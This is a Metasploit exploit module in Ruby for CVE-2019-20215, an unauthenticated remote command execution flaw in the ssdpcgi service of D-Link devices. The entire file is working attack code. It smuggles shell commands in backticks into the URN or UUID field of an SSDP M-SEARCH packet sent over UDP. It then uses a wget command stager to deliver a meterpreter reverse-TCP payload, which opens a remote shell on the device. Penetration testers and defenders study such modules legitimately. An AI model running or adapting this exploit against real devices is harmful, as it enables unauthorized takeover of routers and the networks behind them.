bcoles
85 lines
2.3 KiB
Ruby
85 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::CmdStager
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include Msf::Module::Deprecated
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deprecated(Date.new(2024, 12, 1), 'Use `exploit/linux/upnp/dlink_upnp_msearch_exec` instead')
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
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'Description' => %q{
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D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
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},
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'Author' => [
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's1kr10s',
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'secenv'
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2019-20215'],
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['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
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],
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'DisclosureDate' => '2019-12-24',
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'Privileged' => true,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'DefaultOptions' => {
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'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
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'CMDSTAGER::FLAVOR' => 'wget',
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'RPORT' => '1900'
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},
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'Targets' => [
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[ 'Auto', {} ],
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],
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'CmdStagerFlavor' => %w[echo wget],
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
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'Reliability' => [REPEATABLE_SESSION]
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}
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)
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)
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register_options(
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[
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Msf::OptEnum.new('VECTOR', [true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
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]
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)
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end
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def exploit
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execute_cmdstager(linemax: 1500)
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end
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def execute_command(cmd, _opts)
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type = datastore['VECTOR']
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if type == 'URN'
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print_status('Target Payload URN')
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val = "urn:device:1;`#{cmd}`"
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else
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print_status('Target Payload UUID')
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val = "uuid:`#{cmd}`"
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end
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connect_udp
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header = "M-SEARCH * HTTP/1.1\r\n"
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header << "Host:239.255.255.250: #{datastore['RPORT']}\r\n"
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header << "ST:#{val}\r\n"
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header << "Man:\"ssdp:discover\"\r\n"
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header << "MX:2\r\n\r\n"
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udp_sock.put(header)
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disconnect_udp
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end
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end
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